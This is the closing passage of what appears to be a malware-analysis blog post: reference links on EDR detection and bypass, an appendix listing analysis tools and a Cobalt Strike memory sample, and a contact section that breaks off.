https://www.volexity.com/blog/2023/03/07/using-memory-analysis-to-detect-edr-nullifying-malware/
Accessed: 20 July 2025

[7] SpecterOps – Deep Sea Phishing Part 1
https://posts.specterops.io/deep-sea-phishing-pt-1-092a0637e2fd
Accessed: 20 July 2025

[8] MalwareTech – Bypassing EDRs with EDR Preload
https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
Accessed: 20 July 2025

[9] VMRay – EDR Bypass Tools: ScareCrow and the Advantage of the Attacker
https://www.vmray.com/advantage-attacker-edr-bypass-tools-scarecrow/
Accessed: 20 July 2025

[10] S3cur3Th1sSh1t – A Tale of EDR Bypass Methods
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
Accessed: 20 July 2025

9.4 Appendix

9.4.1 Tools and Resources

  • You can download the Cobalt Strike .mem file used in this blog here.
  • Elastic Stack (SOC Lab Setup) — Guide for setting up a local SIEM and detection lab using Kali Purple and the Elastic Stack.
  • Malcat Download Page — A free and lightweight disassembler for static malware analysis and C2 extraction.

9.4.2 Collaboration & Contact

If you’re interested in research collaboration in machine learning, AI, malware analysis, or generative adversarial networks (GANs), feel free to get in touch: